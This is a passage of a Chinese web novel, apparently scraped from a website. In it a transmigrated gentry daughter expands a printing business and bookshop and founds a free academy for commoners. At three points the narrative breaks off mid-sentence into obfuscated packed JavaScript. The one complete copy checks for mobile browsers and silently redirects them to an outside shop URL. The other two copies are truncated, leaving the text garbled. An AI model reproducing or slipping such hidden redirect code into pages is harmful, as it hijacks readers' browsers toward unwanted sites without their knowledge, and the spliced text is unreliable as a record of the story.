陆歆早就料到有人会就学堂考试选用人才的事做文章,所以他早早就把第一批上市的书每样挑一本秘密送给了当今圣上。 同时他还写了一封密信,详细说明了开书店的初衷,以及学堂授课方式。 皇帝曹启看过陆歆的信,特别看到星星之火可以燎原时,那些早已被现实一次次磨灭掉的信念又重新被燃起。 这日,曹壬随住持入宫陪皇帝论经,曹启很大方的把陆歆送来的书拿出来和他们分享。 曹启问净觉:“在佛祖面前,人人平等,如若有人正在为平民争取平等教育的机会,是否也算是功德?” 净觉闻之,忙回:“自是功德无量。” 曹启拿起《三字经》递给净觉后,笑道:“朕真心期盼这份功德可以庇护大魏的子民。” 曹壬本在一旁安静的听着皇帝和净觉谈论,可当他拿到那本千字文的时候,眼睛却怎么也移不开。 耳中也早已听不进他们所谈的内容,那是他熟悉的字,虽然纸上的字不像是书写上去的,但他一眼就看出那是陆萸的字。 这本千字文上的字是他当年握着她的手写下的,女孩曾经稚嫩的笔锋此时已然有了风骨。 那是他的字,却带了她特有的温暖和柔美,他低头看了看手腕上的珠串,原本暗红的太阳子菩提在他日日诵经转动中变得红艳。 曹启第一次在曹壬脸上看到这样的表情,少年僧人似在回忆,又似在告别,眼中无限的柔情,却又似有盈盈泪光。 曹启刚想问曹壬是书中什么内容触动了他,才一瞬,曹壬脸上却已恢复了原来的平静。 曹壬抬眸安静祥和的看着曹启,道:“陛下能否将这本千字文赏赐给贫僧。” 一本千字文竟然能让他如此动容,曹启疑惑不解,他还没机会仔细翻看那本书,不过曹壬主动提出,他很爽快就答应了,大不了让人再去宫外找一本就是。 离开皇宫的路上,净觉问:“那么多书,你为何独喜欢这本。” 曹壬微微一笑,答:“这本启蒙之书,才是真正点燃星火的书。” 曹壬记得陆萸曾经和他说过:“你一笔一划写练习帖这么累,若是有印刷术就好了,这样只需要把你以前书写过的字印刷出来给我练习即可。” 当时陆萸还和他解释过何为印刷术,并扬言以后有机会一定要推广印刷术,让所有人都买得起书。 再次细细摸过手中的书,曹壬心想,她依然如小太阳一样,用自己的力量将温暖洒向需要的人。 42. 第四十二章 缠绵悱恻 太平纸已经用尽,只等来年再开印,陆萸打算去山阴书店做一次年底合账后再回建业。 陆纯和陆婠也好奇星火书店,所以一起去了会稽庄园,而其他人祭祖结束后陆续离开了华亭。 陆妘原想一起去会稽,奈何琅琊诸葛氏传来急信,陆妘的外祖母病重,他们一家急匆匆赶去北方了。 一百根精美书签做好后,陆萸让人放在柜台结账处,《墨生游记》上架第一天,凡购买者都赠送一根书签。 因为沈玉的书大卖,抽书签竟然也成了乐趣,一些财大气粗的顾客甚至为了抽书签,特意将店里的书都买了一轮。 陆纯和陆婠看过星火书店的火爆后,又去后院看了星火课堂授课情况。 虽然没有名师授课,教室里学习气氛却一点也不比陆氏学堂差。 如今星火课堂的学生已经不仅仅是山阴县的土著民了,因为书店名声大噪,周边很多县的人也会来这里上课。 星火书店原定教室有四间,根据不同的学习进度分甲乙丙丁四个班,丁班是初学者,学员在丁班内学习一段时间后,可主动申请考试,考试合格者换去下一班教室。 当初第一批入学的七个星火学员,一开始是奔着就业来的,后来又喜欢上了星火传递员的任务,再后来,直接迷上了学习。 可是不能只学习,他们还得考虑生计,于是陆萸又给他们安排了整理书籍、打扫店铺的杂活,报酬是书店免费提供食宿。 就这样,七个星火学员已经在星火课堂丁班教室升到了甲班教室。 如果他们想要正式成为书店员工,必须通过所有考试,且必须放弃上课时间。 现在他们迷上学习,也没人提出要离开课堂,特别是不断有《古文精选》上市,他们更舍不得离开。 陆萸看了书店的账目,虽然《墨生游记》和《取经记》赶在过年前大卖了一笔,但其他书确实便宜。 刨除开店前期投入、店铺员工薪资、陆氏门生上课的课时费等杂七杂八的费用,今年店铺依然是亏损的。 合账后,陆萸看了一下书架上的书,打算出一套《诗经》系列,《诗经》在个时代也称《毛诗》,是儒家学派的重要藏书,像陆氏这样的世家就一直藏有《诗经》,陆氏学堂也会选里面的经典内容学习。 《诗经》共三百零五篇,分风、雅、颂,陆萸打算把风分两本印刷,整部《诗经》共制成四本书,每本定价五十钱。 《诗经》不需要审核,陆歆听过陆萸的想法后,让写样的门生提前准备初稿去了。 即将过年,陆萸也给店铺员工放了十天的春节假,期间薪资照发。 书店的工作全部安排好后,陆萸终于可以随哥哥姐姐们回建业了。 临行前,陆歆给陆萸送来了两个人,说是给她开茶点店添加人手。 两名侍女,一个叫冬生,一个叫惊蛰,都是十五岁的年纪,长得非常普通,属于扔在人群中无人会察觉到她的那类脸孔。 陆萸详细问过后,知道二人都是陆氏家奴,从小经历过严格训练,他们除了传递信息厉害外,还会点拳脚功夫。 有了这二人,陆萸更加有信心在江夏华彩阁新增分店,回建业的路也出奇的顺利。 又是一年芳草绿,依然十里杏花红,陆萸在建业迎来了安和十一年。 谢洐才从北方祭祖回来,陆萸便立即将江夏分店的开业时间提上日程。 在过去一年的时间里,秋娘已经将烘焙技能全部传授给红桑,因建业茶点店已经稳定运营,陆萸打算把秋娘、石楠、惊蛰带去江夏,其余三人则继续留在建业。 建业前往江夏一路皆是水路,谢洐起初嘴上不停抱怨陆萸没让他好好休息就催着开店,实在不孝。 不过上了船以后,当陆萸把后面十五回《取经记》的初稿递给他后,他直接连自己的房间都没出来,还扬言不许任何人打扰他。 这条路陆萸是第一次踏上,正是春寒料峭时,外面的江风有点大,她干脆把自己也锁在房内专心写下一批准备印刷的初稿。 《成语故事》《启蒙小故事》《古文精选》都是需要随时新增的,她之前的时间都花去完结《取经记》了,如今还得赶紧出初稿让祖父审核。 至夜深人静时,听着行船时水浪拍打船体发出的声响,陆萸失眠了。 皎洁的月光,穿过云层,透过窗棂,如水一般悉数落在陆萸的床头。 她躺在床上想象着当初曹壬走这条路去洛阳的时候是怎样的心境?想必那时的他已然怀着赴死的心才会放弃用药吧? 哪怕她一直不断告诫自己忘了他,可每当午夜梦回万籁既寂之时,她总忍不住会想起他。 她想他如清风拂面的温柔、如清泉清澈的笑以及当初握过的那双冰凉却有力的手。 陆萸两世加起来,第一次这般心悦一人,可惜还未开始便已无可能再续缘分。 她知道,冷静如她,再难有这样的心境去奔赴一场恋爱了。 多想无益,第二日清晨来临时,那些心事再次被她深埋。 只要他过得好,她便足矣,自己的理想还需继续为之奋斗,道阻且长。 江夏郡不愧为三国时期都要抢夺的地方,其繁华程度比建业过之不及。 建业是东吴旧都,是江东各大世家聚集地,多的是历史厚重感,而江夏则是商业贸易往来最发达的地方。 南来北往的商人,贩夫走卒皆汇聚在此,陆萸和谢洐上岸后第一站是去大伯父陆烈的府上。 荆州牧的府邸不同建业的太守府,这里少了婉约的水乡景致,却多了威严大气,府苑四角皆建有望楼。 大伯父和堂兄们最近都去荆州大营练兵去了,大伯母姚氏听说陆萸要来开店,早早就给陆萸准备好了房间。 许是嫁给武将的原因,姚氏的性子特别爽朗,见到陆萸后,脸上的笑就没停过。 她边牵着陆萸的手,边道:“我一辈子都在盼着能生个女儿,可惜年龄大了,也只能歇了心思,如今你来了,就把这里当自己家,想要什么和我说就行。” 陆萸忙回:“伯母安排的很周到,阿萸很喜欢。” 就这样,因为到江夏的时候已经是傍晚,所以陆萸和谢洐先在州牧府安顿下来。 翌日,陆萸才刚睡醒,姚氏就带着侍人送来了一堆衣裙,然后笑道:“这些衣裙都是洛阳流行的款式,可惜我年龄大了穿不了,你都试一下看看,若喜欢,就都带走吧。” 陆萸大概数了一下,有整整十五套裙子,这么财大气粗的大伯母真是让她受宠若惊。 她忙道:“这也太多了,你留一些送给表姐们吧。” 姚氏却回道:“不多,好不容易来一趟江夏,你可以每天不重样的穿,荆州牧的侄女怎么能穿的寒酸。” 好吧,陆萸算是知道了,与低调的嫡母魏氏不一样,伯母姚氏是个性格外向且随性大气之人。 陆萸还想再推辞一二,姚氏却已经让人挑选出一套,然后拉着她更衣去了。 更衣后,姚氏还让侍人给陆萸上妆,然后将她的头上插满了头饰。 穿越以来,这是陆萸第一次如此盛装打扮,坐在镜前看着陌生又熟悉的脸,她都有点认不出自己了。 身后的木槿素来少言少语,今日却破天荒的开口:“若是银杏看到今日的女公子,想来每天都会让您上妆的。” 陆萸心想还是算了,打扮太浪费时间,还不如用来睡觉。 一切准备妥当后,姚氏便带着陆萸出去逛街了,和建业不一样,这里的商业气息更加浓厚。 道路两旁是鳞次栉比的商铺,耳中时有叫卖声传来,人来人往的街道,充满了烟火气息。 姚氏先带陆萸慢慢顺着主道参观,然后去华彩阁挑了一堆首饰,才带着她去食肆用餐。 在这里,南北美食聚集到了一起,食肆的美食非常丰富,南方人喝不惯的乳酪茶饮在这里也能尝到。 都是大魏子民,江东的茶饮偏清淡,虽然也弄一堆草药或者佐料煮茶,但没人用乳酪。 但北方许是有草原居民杂居,普遍能接受乳酪茶饮,陆萸也是第一次品尝了类似奶茶的东西,只是和后世的奶制品饮料差太多。 吃过食肆的东西后,陆萸对江夏茶品店的定位又更清晰了一些,在这里,她可以推广乳酪新品,以及乳制品点心。 眼看将近黄昏,姚氏才让侍人带上大包小包的战利品,牵上陆萸的手回州牧府。 逛街是个体力活,一天下来,陆萸坐在镜前卸妆的时候,已经累得眼睛都睁不开了。 一夜好眠,第二日,陆萸一早起床向姚氏作别时,听说她要出门,姚氏又让侍女给她盛装打扮一番才放行。 昨日谢洐去访友了,今日才看到陆萸环佩叮当的钻进了马车。 他止不住笑道:“还是当初造纸坊那套短打适合小九。” 陆萸轻挑眉角,不悦道:“你想笑就笑,作甚还贬低大伯母的审美。” 谢洐好一会才忍住笑,道:“州牧夫人的审美没问题,是你穿起来有些不合身。” 陆萸算是理解他的意思了,他在说她长得土气,配不上衣服。 其实她也穿不习惯,但是被取笑也会不高兴,她扭头愤愤地看着窗外懒得搭理他。 谢洐笑了一会,见陆萸真生气了,又忙道歉:“你是晚辈,长辈说的话不该生气,不过我大方,所以和你说声抱歉。” 这人道歉还这么没诚意,陆萸瞪着眼睛看着他:“我不大方,不想回答。” 闻言,谢洐又忍不住笑了起来。 上次他听了陆萸的话后,与好友陆恭在洛阳聚了一次,才知道其实陆恭也在等着修复旧日友谊。 把话说开,误会解除以后,二人就聊起了婚姻家庭,谢洐孤家寡人,没什么可说的。 陆恭却一个劲在谢洐面前夸自己有个聪明可人的女儿,那时候让谢洐听得心酸不已。 今日看着眼前的女孩,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆萸想起被锁起来的香,心虚的回:“点了一次后就去了华亭,如今还未来得及点,香味很好。” “你喜欢便好”朱慎笑着回。 今日的少年卸下了当初的疏离,看陆萸时眼中带着温柔,陆萸不自在的转开了视线。 为缓解尴尬,她主动说了出现在这里的原因。 她的理由是因为祭祖时候大伯母再三邀请,所以她过完年就来这里玩玩。 来了这里以后,为了让她挑选到合心意的首饰,所以大伯母让谢洐带着她逛华彩阁。 虽然谎言有些蹩脚,但也算能圆过去。 朱慎不知方才见到谢洐和陆萸亲昵的行为时为何会心有不悦,但如今听了陆萸的解释,突然就豁然了。 眼前的女孩还小,谢洐又那么老,肯定不是他想的那样。 他宛然一笑道:“若香用完了,你让季真转告一声就行,我让安吉送去给你。” 陆萸听了,忙回:“非常够用,我这人比较俗气,常想不起来点香。” 此时此刻,陆萸突然想起当初江澈说的一句话:“这世间,大凡太容易得到的,世人皆不会珍惜。” 莫非自己不想再近水楼台了,反而激起他的征服欲了? 一瞬间,她不想再聊下去了,于是道:“谢公子还在等我,就先失陪了。” 朱慎微微一笑,道:“外面风大,进去吧。” 陆萸忙敛衽行礼:“那你随意。” 言毕,慌乱推门进了房间。 谢洐早已喝完一杯茶,带着戏谑看着陆萸道:“你们真的不熟?我可不信!” 陆萸有些无奈,她也不知向来疏离淡漠的朱慎为何突然这么反常。 于是反问谢洐:“这是他乡遇故人,所以显得亲切?” 谢洐是男人,看男人的眼光自然毒辣,他可不信门外那小子对侄女没想法。 刚刚在回廊上喊出那声阿萸时,他可是看见那小子眼中全是惊艳和欢喜。 谢洐刚刚还为自己有一名有趣的侄女老怀宽慰,如今想到侄女被人惦记,心情瞬间不爽。 他于是冷冷开口:“听闻翁主曹姒整天为他打转,可他既不接受也不拒绝,此人心思太重,不适合小九。” 陆萸忙点头,“我知道不适合。” 似不放心,谢洐又道:“你以后离他远点。” 陆萸只好连连保证以后对他退避三舍,谢洐才舒缓神色。 朱慎站在廊下迟迟未离开,今日的女孩明媚皓齿、娇艳动人,与在建业时判若两人。 原来她一直在隐藏,隐藏才能也在隐藏美貌,虽然不如“大魏双珠”貌美,但在他看来,她身上沉静睿智的美是无人能及的。 雨渐渐停下,朱慎却觉得那雨丝仿佛已经下在心里生了根,让向来果决冷静的内心无端生出了剪不断理还乱的缠绵悱恻。 43. 第四十三章 星火书院 陆萸不知朱慎心中的百转千回,因为她正在和谢洐商量开店的各项事宜。 江夏华彩阁比建业大,陆萸看过后面的第二道院子,里面很宽敞,院中有水井还有一棵大朴树,现在华彩阁的伙计和掌柜住在东侧的几间房,西侧还剩有空房间。 她打算把西侧那间杂物间装修一下后,让人在里面打三个和建业一样的烤炉,而秋娘他们三人可以住在西侧的其他房间,这样比去外面租房要方便还安全得多。 当然,陆萸也不是直接薅谢洐的羊毛,烤炉房使用费,以及三个员工的食宿费用她也是按月从销售提成中扣除的。 谢洐听后,笑道:“烤炉房是你自己装修的,就免费给你用吧。” 就这样,二人又着就江夏目前的市场行情商量了开业前的各项准备。 江夏的确是交通枢纽,来往的人也多,但是竞争也很激烈,这里的酒肆、客栈几乎都有点心售卖,所以华彩阁想从中分一杯羹就得有自己的特色。 趁着这几日工匠制炉子的间隙,谢洐会带着陆萸挨个的去品尝别人的产品,待全部品尝过以后,陆萸再扬长避短开发自己的产品。 前世陆萸是加班牛马,既没有时间也没有钱,所以常常羡慕那些有钱有闲的人每天就是逛街,然后买东西,买累了吃各色美食。 如今轮到她把品尝美食当成一份工作的时候,她却再也不想逛街了。 三天的时间,她跟着谢洐逛遍了江夏的大街小巷,连那种隐藏很深的特色小店铺都被谢洐翻到了。 除了吃还是吃,每次吃还得用心做记录,虽然没有后世害人的添加剂,但陆萸已经彻底吃怕了。 当她拖着疲惫的身躯回到州牧府,看到姚氏为她准备的点心时,已经生不出任何食欲了。 经过几日考察后,陆萸决定目标群体的定位不变,只是食材和产品要设计的更加多样化,这里的客户更注重口感,而非外观。 建业的世家贵女品尝茶点讲的是雅,口味可以一般,但必须精美,而这里的顾客要求口感能吸引人,可以不好看,但是要有性价比。 于是,陆萸设计的几款点心都是口味独特且浓郁的,除了少量产品是增加工序套入精美模具外,其余大量生产的产品由秋娘手工制作后,直接放入烤炉。 江夏的产品价格和建业一样,份量加了二分之一的情况下,因为缩短了工时,成本算下来也差不多。 而不刻意追求外观好看的前提下,很多食材都可以大胆尝试,不用担心配色问题,所以陆萸设计食谱也更加随心所欲。 就这样,江夏华彩阁的点心铺结束了前三天免费品尝期后,第四天正式营业就迎来了开门红。 这里的人流量真是比建业城大很多,短短一周的营业额竟然达到七百三十四两,陆萸每天看着销售额,笑得嘴都合不拢了,真后悔没有早些来这里开店。 建业的顾客群体比较稳定,所以她得时常花心思更换新品,可这里皆是南来北往的顾客,客户群体丰富多样,食谱也可以不用实时更新,省了不少事。 陆萸和谢洐在江夏呆了整整一个半月,见茶点业务已经稳步运营,便一起回了建业。 她想要继续丰富书店的书,全凭自己那点存货远远不够,所以她写信给祖父商量了自己的打算,她想在建业太守府翻看陆氏藏书,节选一些不那么晦涩难懂的内容印刷出版。 陆歆很快就回信了,信中说她想看什么书都可以。 就这样,在新纸制出的前几个月,陆萸都在建业翻陆氏藏书,也是这一次,她更加直观的理解为何世家能百年屹立不倒。 陆氏在建业的藏书数量很多,塞满了整整三个房间,听说这还只是一部分,还有三分之一在会稽庄园,三分之一在华亭,建业专门看管书籍的仆从有十人,他们负责每天打扫卫生和晒书。 藏书不仅多,种类还非常齐全,建业的书都是为方便子女学习用的,所以可读性很强,而那些珍藏孤本都留在华亭庄园。 为节省时间,陆萸负责筛选内容,陈蕊负责誊抄,这期间沈玉送来了第二部《墨生游记》,写的是游玩白帝城及周边村镇的所见所闻,陆萸给这部游记附赠了李白的《早发白帝城》。 六月中旬,太平纸将大量产出,陆萸马不停蹄的从建业赶往华亭,今年将印刷比去年多几倍的书,她想去看看进度。 在印刷之前,经陆歆审核过的的《取经记》后十五回初稿已经制好雕刻板,所以这次印刷制作的第一批书是后三部《取经记》。 大家等了整整半年才等来《取经记》后续,新印刷的五百册《取经记》竟然在短短半个月内一抢而空,甚至听说已经在流传手抄版。 陆萸又让人加印了五百册全套《取经记》,她脑中开始有了在建业或者江夏开分店的想法。 书按部就班的印刷中,陆萸就去了山阴书店,翻年后,书店的学员越来越多,陆萸便和陆歆提了开书院的想法。 她想开一个书院,名字就叫星火书院,书院不收任何学员的束脩,只需学员购买书店书籍并完成星火传递员的任务即可。 刚入学的新学员,书院只提供住宿,吃的自理,而在完成相应的学习内容成为老学员后,考核成绩优异者可以选择就业,也可以继续深造,考核结果优异并继续深造者,可以免费提供食宿。 书院所教授的内容,除了书本知识外,还要增设骑射、马球、器乐、工艺等,所以书院除了设置几个固定管理人员,老师可以是多元化的,并非一定是大儒名师,只要有耐心有一技之长者皆可兼任讲师。 陆歆听了陆萸的想法,心中震撼不已,久久不语。 他虽已猜透开书店是为打破世家对知识的垄断,可如今听她对书院课程的规划,才更加深刻的意识到,这个女孩的布局已经远超他猜想的范围。 特别是她提出教授骑射、器乐和工艺,她想让每一个学员都能找到自己的价值,而在寻找自我价值的过程中,这些人会潜移默化的接受星火书院的管理模式和考核方式。 她的目标不是只想让天下人都买得起书,而是想打破常规,打破自汉以来几百年的察举制度。 思及此,陆歆瞬间感觉那把星火在心头越烧越旺,他问:“阿萸还有什么打算是未告知我的,如今一并说了吧。” 陆萸原以为祖父要在书院建成几年后才会察觉她的意图,如今这么快被看破,心中对这个外交官祖父佩服至极。 于是她详细介绍了科举制度,并根据后世的考试对科举制度进行修改完善,三百六十行行行有人才,她要不拘一格降人才,通过多样化考核方法选拔最适合的人才。 陆萸说了多久,陆歆就安静的听了多久,至陆萸说完,他静默了许久,才问:“你想让世家消失?” 闻之,陆萸猛的抬起头看着祖父:“百足之虫死而不僵,世家不会那么快消失的。” 她记得当年李氏王朝费了多大力气才让世家慢慢退出历史舞台,所以世家若消失至少还得一百多年。 陆歆苦涩一笑:“总会消失不是吗?” 陆萸还想解释,可陆歆摆摆手道:“今日我有些累了,你也回去休息吧,建书院的事,待我考虑好了回复你。” 陆萸从祖父的书房出来的时候,看着廊下忙着点灯的仆从,心里其实也不好受,她出身世家,享有世家的一切,却想让世家消失。 这样的陆萸在祖父看来,或许和叛徒没有区别,可她知道世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以他作为家主虽然不想家族最终消失在历史长河中,但他更不愿意看到王朝分崩后的乱世来临。 接下来的时间,陆萸全身心的投入到了星火书院的建设中,她带着部曲考察了山阴县附近的乡镇,最后决定把学院地址选在兰亭镇。 会稽郡山阴县西南二十七里的兰渚山麓,据传,春秋时期,越王勾践植兰于此,东汉时,此地建有驿亭,因而得名“兰亭”。 就是《兰亭集序》中的那个兰亭,前世的历史中,北方百姓生活在水深火热中,而南渡的世家们却聚集在兰亭赋诗饮酒好不逍遥。 倘若再有一次北人南渡,陆萸不会再给他们机会到兰亭组织永和雅集,所以她决定买下整座兰渚山。 兰渚山有崇山峻岭、茂林修竹,又有清流激湍,建书院最为合适,这座山原是山阴一家豪强的私产,陆萸为买下它,花了整整五千两银子。 建书院前,陆萸带着陆歆去游玩了一下兰渚山,顺便将前世衣冠南渡的事以梦境的方式告诉了陆歆。 立在兰亭内,看着周围苍翠的景致和清澈的溪流,陆歆悠悠一叹:“倘若北方沦陷,他们很可能会南渡,而你梦中那些也会成为现实。” 这一刻,他甚至不认为那是孙女的梦境,而是有可能在某个时空,那些的梦境是真实发生过的。 选好地址后,陆萸从会稽庄园找来了工匠修建房子,图纸是她早就设计好的,前期建设的楼为三栋,一栋教学楼,一栋学员宿舍楼,另外一栋为图书馆和办公楼,每栋两层。 老师和管理人员的住房则单独规划了几个院落,错落有致的分布在书院的东北角。 盖房为求稳固,陆萸让人选用最好的木料和石料,盖好后,三栋楼的室内全部铺设东汉陶砖。 在无数工匠日以继夜的劳作四个月后,星火书院终于建成了,陆萸不但花光了现有积蓄,还差了陆三叔五百多两银子。 当星火书院的第一批学员在看到如此宽敞大气的书院时,他们眼中迸发的激动和热情,以及对知识的向往,让陆萸暂时忘记了看到存款为零时的苦闷。 44. 第四十四章 新书签售 陆萸定下的星火书院管理人员是陆氏的几个门生,共有四人。 他们自星火书店开业之初便一直授课至今,现在学员不是特别多情况下,他们可以授课的同时兼任书院管理员。 门生投入陆氏门下,为的是寻求一条入仕途的通道,当初参与写样和校对的门生来来去去共有二十二人,可只有这四人在参与校对后一直坚持授课。 陆萸要贯彻多劳多得的原则,这四名门生除了拿讲师的课时费,还有管理岗位薪酬,每月十五两银子,待书院开设趋于稳定以后,他们还有工龄薪酬。 陆萸给四个管理员每人分配了一个小院子,院子有厨房可以自己生火,他们的管理薪酬和课时费再加上节假日红包,算下来平均每月有六十两银子的收入。 就这样,他们在管理书院和授课的时候愈发积极主动,为了全身心投入教育事业,他们还把家里的妻儿都接来了星火书院。 在同意陆萸建星火书院时,陆歆便已上书朝廷,与其日后书院规模大了遭人弹劾,倒不如他提前向朝廷报备建书院的事。 他在奏书中写的理由是:会稽境内匪患横行,很多平民因没文化而被匪徒诱骗入了匪窝,为了整顿治安,他打算以知识教化民众,让会稽迎来安定繁荣。 奏章中他还向朝廷解释了授课的内容,所授皆是启蒙知识和常识性知识,待学员具备基础知识,书院还要开授大魏律法,在起到震慑作用的同时可以规范平民行为、维护统治秩序。 陆歆的奏章递到朝中时,一时激情千层浪,这个致仕多年的陆司空都已经淡出大众视线多年,如今又以如此高调的方式出场了。 哪个世家还不培养点人为自己所用,但大家都是设个家族学堂,然后低调培养,待培养出人才再举荐入仕。 他倒好,把培养自己人说的如此清晰脱俗就算了,对生源也来者不拒,陆氏莫不是无人可用所以饥不择食了,那等庶民资质极差,也不知陆氏要花多少人力物力才能培养出可用之人。 于是,陆氏的星火书院才一开起来,有人就等着看笑话,有人心想可以如此大张旗鼓招揽人才自己也可以效仿,有人却单纯只是纯在一旁吃瓜。 当然也有人对陆氏的高瞻远瞩佩服的,比如吴兴沈氏、吴郡朱氏、北方的颍川旬氏、东海王氏等,他们心想有此等远见之人做家主,陆氏在大魏的名望只会更大。 既然是教化民众、维护社会治安的,那就是利国利民的好事呀,朝中自然无人会反对,皇帝大笔一挥也同意了他的申请。 就这样,星火书院以陆歆为第一任院长,于大魏安和十一年七月初九正式启用。 颍川旬氏的大儒旬维是陆氏学堂的常驻授课老师,听闻出院成立,特意从建业赶来兰亭为学员们讲授开学第一天的课,授课内容是荀子的《劝学》。 星火书院开课第一天就有当代大儒授课,给书院打响了名气,一时间多少寒门子弟后悔没有提前获知这等好消息。 陆萸抓住这个契机,征得旬维大师的同意后,她正式聘请旬维博士为星火书院的第一任副院长,每年九月秋季新学年,他都会在书院讲授开学第一课。 想旁听开学第一课的学员无需缴纳束脩,只需要购买星火书店的书籍《劝学》即可,到时候凭书和书票入书院上课。 此消息一出,星火书店的《劝学》瞬间一抢而空,陆萸为此又加印了五百册。 旬维是陆歆致仕当年特意去颍川三顾茅庐请来的,他学富五车,曾是太学博士,之所以同意给陆氏族学授课,除了被陆歆的诚意打动,也是向往南方的湿润气候。 如今站在星火书院门口,看着茂林修竹、山峦叠翠,他叹道:“文肃可真会选地方,我当年随你来到江东之时,未曾想过会至此授课。” 陆歆知道出身北方高门的旬氏博士,在陆氏学堂授课已是破例,而在为庶民开设的书院授课已然将身份降到了最低。 他不计身份答应孙女的请求出任副院长,为的是二人这些年相交的情谊,也是对陆氏星火书院不求回报的鼎力支持。 陆歆敛衽朝着旬维双手交叉深深一拜,才道:“子然兄大恩,文肃没齿难忘。” 旬维笑着受了礼后,道:“希望我有生之年还能看到星火书院的火点燃大魏吧。” 陆歆再次深深一拜:“子然兄一定能看到的。” 星火书院就这样开始招生了,如今的学员除了平民,还有寒门庶士将小孩送来书院。 为了扩大书院的影响力,陆萸打算在建业和江夏同步开设星火书店,特别是江夏,作为南北交通枢纽城市,一旦星火书店开业,星火书院的名气可以推广到北方。 得到陆歆的同意后,陆萸开始行动起来,她立即通知华亭庄园加大书籍的印刷制作,今年的太平纸将全部用于印刷书籍,且她还通知了佃农扩大毛竹的种植面积,为明年制太平纸做好储备。 江夏的店铺选址陆萸全权委托三叔陆显,而建业的书店陆萸直接选在了华彩阁那条街上,新建书院花光了她的积蓄,她连购买铺面的钱都是和谢洐借的。 借钱的时候,谢洐依然不看好开书店这事,特别听说陆氏还花巨资开办书院教授庶民,只觉得莫不是陆氏真如大家在背后偷偷议论的那样,饥不择食了。 不过在陆萸苦口婆心的给他画建业书店的大饼以后,他还是很大方的一次性借给了陆萸五千两银子。 有这笔银子,建业书店购买铺面,装修,以及筹备开业都够了,不过今年建业华彩阁的茶点销售提成她是没机会提走了。 今年端午礼盒和中秋礼盒是建业和江夏两个店铺联动推出的,因为客户被江夏分走了一部分,建业的礼盒收益比去年少了四分之一。 但江夏的礼盒收益非常可观,是建业的三倍之多,南来北往的客户将华彩阁茶点的名气带到了大魏的各个州郡。 华彩阁的茶点礼盒一直都有华彩阁的标记,如今为了更好的推广礼盒,她还在华彩阁的标记旁边特意增加了所属系列标记,“丰年”二字篆体字被祥云环绕。 “丰年”系列礼盒除了节假日,日常走亲访友也可定制,江夏的店铺过了中秋节还能时常收到订单,于是陆萸又安排了两个婢女去给秋娘打下手。 星火书院开设的消息早已传至洛阳,那些太学的学生们对陆氏教授庶民的行为无法理解,常在陆弘面前说些不痛不痒的玩笑话。 至八月份,太学休假一个月,类似于后世的暑假,陆弘便快马加鞭的赶回了建业,他对太学中世家子弟的取笑不在意,而是纯粹对书院好奇。 新开的书店必须赶在星火书院新学年开学前开业,才能抢得一波人流量,为此陆萸毫不客气的把哥哥姐姐们拉入筹备大军,他们负责设计书票图案,然后写一千个书签的字。 时间紧迫,几个人废寝忘食的写字画图,终于赶在八月二十这一天,江夏和建业的书店同时开业。 为增加建业书店的人气,开店第一天,陆萸邀请了沈玉到书店一楼的大厅签售他的第三部《墨生游记》,这次的游记写的是九江郡的景色,其中描写了庐山的瀑布,陆萸给游记附赠了李白的《望庐山瀑布》。 上次的《早发白帝城》最后那句“轻舟已过万重山”让大家印象深刻,这次大家来买书一来就先翻看最后一页的诗。 诗仙的诗又怎么会让人失望呢,一句“疑是银河落九天”充满了烂漫主义色彩,让那些沈玉的迷妹们看得两眼冒泡。 沈玉的受欢迎程度大大超出陆萸预期,没有签名的书定价十两银子,签名的书哪怕定价五十两,依然排起了长队,连想要进店买《劝学》的寒门庶士都挤不进来。 眼看他的粉丝越来越多,陆萸只得临时把新书签售点改到了华彩阁,就这样,华彩阁的茶点生意又带来了一大波客流量。 沈玉第一次参与签售活动,以前他不知写字还可以这么累,如今被一堆读者围着,真是痛并快乐着。 心里不停默念:这是自己的书,他才终于坚持了一整天的签售。 签售活动非常顺利,五百册《墨生游记三》才几个时辰就已全部抢完。 沈玉甩甩发酸的手,向陆萸抱怨道:“还好你只制了五百份,不然我这手非残了不可。” 陆萸一点都不同情他,因为财源滚滚来呀,不用多久,建业书店就能扭亏为盈了。 她摇摇手中的团扇笑道:“怕累到你,所以才放五百册在这里罢了。” 闻言,沈玉有些傻眼,敢情签售数量还可以随意定呀,早知道,他就只定两百册了。 沈瑶在一旁看着阿兄吃瘪,笑道:“提分成的时候不觉的累,如今又觉得累了?” 被妹妹这么一提醒,他瞬间也来了斗志,以前视金钱如粪土的他,自从靠游记挣钱以后开始喜欢上了看每月分成的金额。 毕竟有了钱,游玩的质量就能得到提升,家里也无人再说他不务正业浪费家财了,游玩的时候心情更好,赏景的时候也更能发现美,接着写的游记也越来越引人入胜了。 他今日一口气签售五百册,就有一万二千五百两的分成,这么一想,手腕好像也没有那么酸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954937|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江夏书店的开业是陆显在主持大局,有山阴书店的成功案例,开业非常顺利,五百支书签在短短一个月只剩下二十支,要求尽快补货。 星火书店的书签就是书店的明信片,它随着南来北往的人走到了洛阳,这次的书签除了哥哥姐姐们的内容,还新增了陆萸的。 陆萸写的全是后世几千年精选过的诗句,据说有人抽到陆萸写的诗句后大为惊叹,几次三番去书店问整首诗的内容,书店伙计皆解释此乃世外高人所作,云游不知何处不便相告。 